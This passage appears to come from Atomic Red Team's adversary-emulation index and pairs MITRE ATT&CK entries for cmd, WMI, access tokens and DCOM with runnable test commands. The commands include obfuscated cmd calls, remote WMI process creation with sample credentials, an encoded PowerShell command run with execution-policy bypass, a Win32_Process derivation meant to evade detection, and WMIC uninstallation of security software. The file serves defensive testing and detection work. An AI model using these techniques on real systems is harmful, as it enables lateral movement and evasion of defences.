        The Windows command shell ([cmd](https://attack.mitre.org/software/S0106))
        is the primary command prompt on Windows systems. The Windows command prompt
        can be used to control almost any aspect of a system, with various permission
        levels required for different subsets of commands. \n\nBatch files (ex: .bat
        or .cmd) also provide the shell with a list of sequential commands to run,
        as well as normal scripting operations such as conditionals and loops. Common
        uses of batch files include long or repetitive tasks, or the need to run the
        same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106)
        to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106)
        to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106)
        interactively with input and output forwarded over a command and control channel."
      name: Windows Command Shell
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1059.003
        url: https://attack.mitre.org/techniques/T1059/003
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1059.003
    atomic_tests:
    - name: Create and Execute Batch Script
      auto_generated_guid: 9e8894c0-50bd-4525-a96c-d4ac78ece388
      description: 'Creates and executes a simple batch script. Upon execution, CMD
        will briefly launch to run the batch script then close again.

'
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command to execute within script.
          type: String
          default: dir
        script_path:
          description: Script path.
          type: Path
          default: "$env:TEMP\\T1059.003_script.bat"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Batch file must exist on disk at specified location (#{script_path})

'
        prereq_command: 'if (Test-Path #{script_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item #{script_path} -Force | Out-Null
          Set-Content -Path #{script_path} -Value "#{command_to_execute}"
      executor:
        command: 'Start-Process #{script_path}

'
        cleanup_command: 'Remove-Item #{script_path} -Force -ErrorAction Ignore

'
        name: powershell
    - name: Writes text to a file and displays it.
      auto_generated_guid: 127b4afe-2346-4192-815c-69042bec570e
      description: 'Writes text to a file and display the results. This test is intended
        to emulate the dropping of a malicious file to disk.

'
      supported_platforms:
      - windows
      input_arguments:
        file_contents_path:
          description: Path to the file that the command prompt will drop.
          type: Path
          default: "%TEMP%\\test.bin"
        message:
          description: Message that will be written to disk and then displayed.
          type: String
          default: Hello from the Windows Command Prompt!
      executor:
        command: 'echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}"

'
        cleanup_command: 'del "#{file_contents_path}" >nul 2>&1

'
        name: command_prompt
    - name: Suspicious Execution via Windows Command Shell
      auto_generated_guid: d0eb3597-a1b3-4d65-b33b-2cda8d397f20
      description: 'Command line executed via suspicious invocation. Example is from
        the 2021 Threat Detection Report by Red Canary.

'
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: File to output to
          type: String
          default: hello.txt
        input_message:
          description: Message to write to file
          type: String
          default: Hello, from CMD!
      executor:
        command: "%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file}
          & type #{output_file}\n"
        name: command_prompt
  T1047:
    technique:
      id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Windows Management Instrumentation
      description: |-
        Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)

        An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)
      external_references:
      - source_name: mitre-attack
        external_id: T1047
        url: https://attack.mitre.org/techniques/T1047
      - url: https://en.wikipedia.org/wiki/Server_Message_Block
        description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June
          12, 2016.
        source_name: Wikipedia SMB
      - url: https://technet.microsoft.com/en-us/library/cc787851.aspx
        description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
          2016.
        source_name: TechNet RPC
      - url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
          April 27, 2016.
        source_name: MSDN WMI
      - source_name: FireEye WMI SANS 2015
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
          4, 2020.
      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        source_name: FireEye WMI 2015
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-05-13T22:50:51.258Z'
      created: '2017-05-31T21:30:44.329Z'
      x_mitre_system_requirements:
      - |-
        WMI service, winmgmt, running.
        Host/network firewalls allowing SMB and WMI ports from source to destination.
        SMB authentication.
      x_mitre_platforms:
      - Windows
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: 'Monitor network traffic for WMI connections; the use of
        WMI in environments that do not typically use WMI may be suspect. Perform
        process monitoring to capture command-line arguments of "wmic" and detect
        commands that are used to perform remote behavior. (Citation: FireEye WMI
        2015)'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      identifier: T1047
    atomic_tests:
    - name: WMI Reconnaissance Users
      auto_generated_guid: c107778c-dcf5-47c5-af2e-1d058a3df3ea
      description: "An adversary might use WMI to list all local User Accounts. \nWhen
        the test completes , there should be local user accounts information displayed
        on the command line.\n"
      supported_platforms:
      - windows
      executor:
        command: 'wmic useraccount get /ALL /format:csv

'
        name: command_prompt
    - name: WMI Reconnaissance Processes
      auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2
      description: |
        An adversary might use WMI to list Processes running on the compromised host.
        When the test completes , there should be running processes listed on the command line.
      supported_platforms:
      - windows
      executor:
        command: 'wmic process get caption,executablepath,commandline /format:csv

'
        name: command_prompt
    - name: WMI Reconnaissance Software
      auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414
      description: |
        An adversary might use WMI to list installed Software hotfix and patches.
        When the test completes, there should be a list of installed patches and when they were installed.
      supported_platforms:
      - windows
      executor:
        command: 'wmic qfe get description,installedOn /format:csv

'
        name: command_prompt
    - name: WMI Reconnaissance List Remote Services
      auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3
      description: "An adversary might use WMI to check if a certain Remote Service
        is running on a remote device. \nWhen the test completes, a service information
        will be displayed on the screen if it exists.\nA common feedback message is
        that \"No instance(s) Available\" if the service queried is not running.\nA
        common error message is \"Node - (provided IP or default)  ERROR Description
        =The RPC server is unavailable\" \nif the provided remote host is unreacheable\n"
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Ip Address
          type: String
          default: 127.0.0.1
        service_search_string:
          description: Name Of Service
          type: String
          default: Spooler
      executor:
        command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")

'
        name: command_prompt
    - name: WMI Execute Local Process
      auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3
      description: |
        This test uses wmic.exe to execute a process on the local host.
        When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
      supported_platforms:
      - windows
      input_arguments:
        process_to_execute:
          description: Name or path of process to execute.
          type: String
          default: notepad.exe
      executor:
        command: 'wmic process call create #{process_to_execute}

'
        cleanup_command: 'wmic process where name=''#{process_to_execute}'' delete
          >nul 2>&1

'
        name: command_prompt
    - name: WMI Execute Remote Process
      auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b
      description: |
        This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
        To clean up, provide the same node input as the one provided to run the test
        A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Ip Address
          type: String
          default: 127.0.0.1
        user_name:
          description: Username
          type: String
          default: DOMAIN\Administrator
        password:
          description: Password
          type: String
          default: P@ssw0rd1
        process_to_execute:
          description: Name or path of process to execute.
          type: String
          default: notepad.exe
      executor:
        command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}" process
          call create #{process_to_execute}

'
        cleanup_command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}"
          process where name=''#{process_to_execute}'' delete >nul 2>&1

'
        name: command_prompt
    - name: Create a Process using WMI Query and an Encoded Command
      auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c
      description: |
        Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand
         Powershell -nop -exec bypass -EncodedCommand <encoded command>
        Where the –EncodedCommand, once decoded, would resemble:
          Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION
        The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe
        You should expect to see notepad.exe running after execution of this test.
        [Solarigate Analysis from Microsoft](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/)
      supported_platforms:
      - windows
      executor:
        command: 'powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

'
        name: command_prompt
    - name: Create a Process using obfuscated Win32_Process
      auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43
      description: |
        This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
        [Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
      supported_platforms:
      - windows
      input_arguments:
        new_class:
          description: Derived class name
          type: String
          default: Win32_Atomic
        process_to_execute:
          description: Name or path of process to execute.
          type: String
          default: notepad.exe
      executor:
        name: powershell
        elevation_required: true
        command: |
          $Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
          $NewClass = $Class.Derive("#{new_class}")
          $NewClass.Put()
          Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
        cleanup_command: |
          $CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))
          try { $CleanupClass.Delete() } catch {}
    - name: WMI Execute rundll32
      auto_generated_guid: '00738d2a-4651-4d76-adf2-c43a41dfb243'
      description: 'This test uses wmic.exe to execute a DLL function using rundll32.
        Specify a valid value for remote IP using the node parameter.

'
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Ip Address
          type: String
          default: 127.0.0.1
        dll_to_execute:
          description: Path to DLL.
          type: String
          default: "$env:TEMP\\calc.dll"
        function_to_execute:
          description: Name of DLL function to call
          type: String
          default: StartW
      dependency_executor_name: powershell
      dependencies:
      - description: DLL with function to execute must exist on disk at specified
          location (#{dll_to_execute})
        prereq_command: 'if (Test-Path #{dll_to_execute}) {exit 0} else {exit 1}'
        get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true"
          -OutFile "#{dll_to_execute}"

'
      executor:
        command: 'wmic /node:#{node} process call create "rundll32.exe #{dll_to_execute}
          #{function_to_execute}"

'
        cleanup_command: taskkill /f /im calculator.exe
        name: powershell
    - name: Application uninstall using WMIC
      auto_generated_guid: c510d25b-1667-467d-8331-a56d3e9bc4ff
      description: Emulates uninstalling  applications using WMIC.  This method only
        works if the product was installed with an msi file.  APTs have been seen
        using this to uninstall security products.
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Computer the action is being executed against but defaults
            to the localhost.
          type: string
          default: 127.0.0.1
        product:
          description: Enter the product name being uninstalled.  This will default
            to TightVNC.
          type: String
          default: Tightvnc
      dependency_executor_name: powershell
      dependencies:
      - description: TightVNC must be installed.
        prereq_command: if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe")-Or
          (Test-Path "C:\Program Files (x86)\TightVNC\tvnviewer.exe")) {exit 0} else
          {exit 1}
        get_prereq_command: |-
          Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile PathToAtomicsFolder\T1047\bin\tightvncinstaller.msi
          start-sleep -s 10
          msiexec /i PathToAtomicsFolder\T1047\bin\tightvncinstaller.msi /qn /norestart
          start-sleep -s 15
      executor:
        command: wmic /node:"#{node}" product where "name like '#{product}%%'" call
          uninstall
        cleanup_command: msiexec /i PathToAtomicsFolder\T1047\bin\tightvncinstaller.msi
          /qn /norestart
        name: command_prompt
        elevation_required: true
lateral-movement:
  T1550.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.001
        url: https://attack.mitre.org/techniques/T1550/001
      - external_id: CAPEC-593
        source_name: capec
        url: https://capec.mitre.org/data/definitions/593.html
      - description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
          APIs. Retrieved September 12, 2019.
        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
        source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
          Sept 2019
      - description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
          September 12, 2019.
        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
        source_name: okta
      - description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
          Microsoft identity platform access tokens. Retrieved October 4, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
        source_name: Microsoft Identity Platform Access 2019
      - description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
          Retrieved October 4, 2019.
        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
        source_name: Staaldraad Phishing with OAuth 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Access Token
      description: |-
        Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

        Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

        For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

        Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T18:09:45.539Z'
      created: '2020-01-30T17:37:22.261Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_detection: Monitor access token activity for abnormal use and permissions
        granted to unusual or suspicious applications and APIs.
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Mark Wee
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1175:
    technique:
      revoked: false
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1175
        url: https://attack.mitre.org/techniques/T1175
      - source_name: Fireeye Hunting COM June 2019
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
        source_name: Microsoft COM ACL
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
          Registry. Retrieved November 21, 2017.
        source_name: Microsoft Process Wide Com Keys
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
        description: Microsoft. (n.d.). Registry Values for System-Wide Security.
          Retrieved November 21, 2017.
        source_name: Microsoft System Wide Com Keys
      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
          2018.'
        source_name: ProjectZero File Write EoP Apr 2018
      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
          Application COM Object. Retrieved November 21, 2017.
        source_name: Enigma MMC20 COM Jan 2017
      - url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
          2. Retrieved November 21, 2017.'
        source_name: Enigma DCOM Lateral Movement Jan 2017
      - url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
          and DCOM. Retrieved November 21, 2017.
        source_name: Enigma Excel DCOM Sept 2017
      - url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
          movement via DCOM. Retrieved November 21, 2017.
        source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
      description: "**This technique has been deprecated. Please use [Distributed
        Component Object Model](https://attack.mitre.org/techniques/T1021/003) and
        [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries
        may use the Windows Component Object Model (COM) and Distributed Component
        Object Model (DCOM) for local code execution or to execute on remote systems
        as part of lateral movement. \n\nCOM is a component of the native Windows
        application programming interface (API) that enables interaction between software
        objects, or executable code that implements one or more interfaces.(Citation:
        Fireeye Hunting COM June 2019) Through COM, a client object can call methods
        of server objects, which are typically Dynamic Link Libraries (DLL) or executables
        (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends
        the functionality of Component Object Model (COM) (Citation: Microsoft COM)
        beyond a local computer using remote procedure call (RPC) technology.(Citation:
        Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote
        server COM objects are specified by access control lists (ACL) in the Registry.
        (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation:
        Microsoft System Wide Com Keys) By default, only Administrators may remotely
        activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM
        for local command and/or payload execution. Various COM interfaces are exposed
        that can be abused to invoke arbitrary execution via a variety of programming
        languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific
        COM objects also exists to directly perform functions beyond code execution,
        such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
        fileless download/execution, and other adversary behaviors such as Privilege
        Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation:
        ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral
        movement. Through DCOM, adversaries operating in the context of an appropriately
        privileged user can remotely obtain arbitrary and even direct shellcode execution
        through Office applications (Citation: Enigma Outlook DCOM Lateral Movement
        Nov 2017) as well as other Windows objects that contain insecure methods.(Citation:
        Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017)
        DCOM can also execute macros in existing documents (Citation: Enigma Excel
        DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173)
        (DDE) execution directly through a COM created instance of a Microsoft Office
        application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing
        the need for a malicious document."
      name: Component Object Model and Distributed COM
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-30T13:36:10.069Z'
      created: '2018-01-16T16:13:52.465Z'
      x_mitre_deprecated: true
      x_mitre_version: '2.0'
      x_mitre_detection: |-
        Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)

        Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

        Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_platforms:
      - Windows
      x_mitre_remote_support: true
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1021.003:
    technique:
      created: '2020-02-11T18:26:36.444Z'
      modified: '2020-03-23T20:21:03.684Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1021.003
        url: https://attack.mitre.org/techniques/T1021/003
      - source_name: Fireeye Hunting COM June 2019
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
          Registry. Retrieved November 21, 2017.
        source_name: Microsoft Process Wide Com Keys
      - url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
        source_name: Microsoft COM ACL
      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
          Application COM Object. Retrieved November 21, 2017.
        source_name: Enigma MMC20 COM Jan 2017
      - url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
          2. Retrieved November 21, 2017.'
        source_name: Enigma DCOM Lateral Movement Jan 2017
      - url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
          and DCOM. Retrieved November 21, 2017.
        source_name: Enigma Excel DCOM Sept 2017
      - url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
          movement via DCOM. Retrieved November 21, 2017.
        source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Distributed Component Object Model
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

        The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

        Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

        Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.
      id: attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

        Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1021.003
    atomic_tests:
    - name: PowerShell Lateral Movement using MMC20
      auto_generated_guid: 6dc74eb1-c9d6-4c53-b3b5-6f50ae339673
      description: |
        Powershell lateral movement using the mmc20 application com object.

        Reference:

        https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

        Upon successful execution, cmd will spawn calc.exe on a remote computer.
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Name of Computer
          type: String
          default: localhost
      executor:
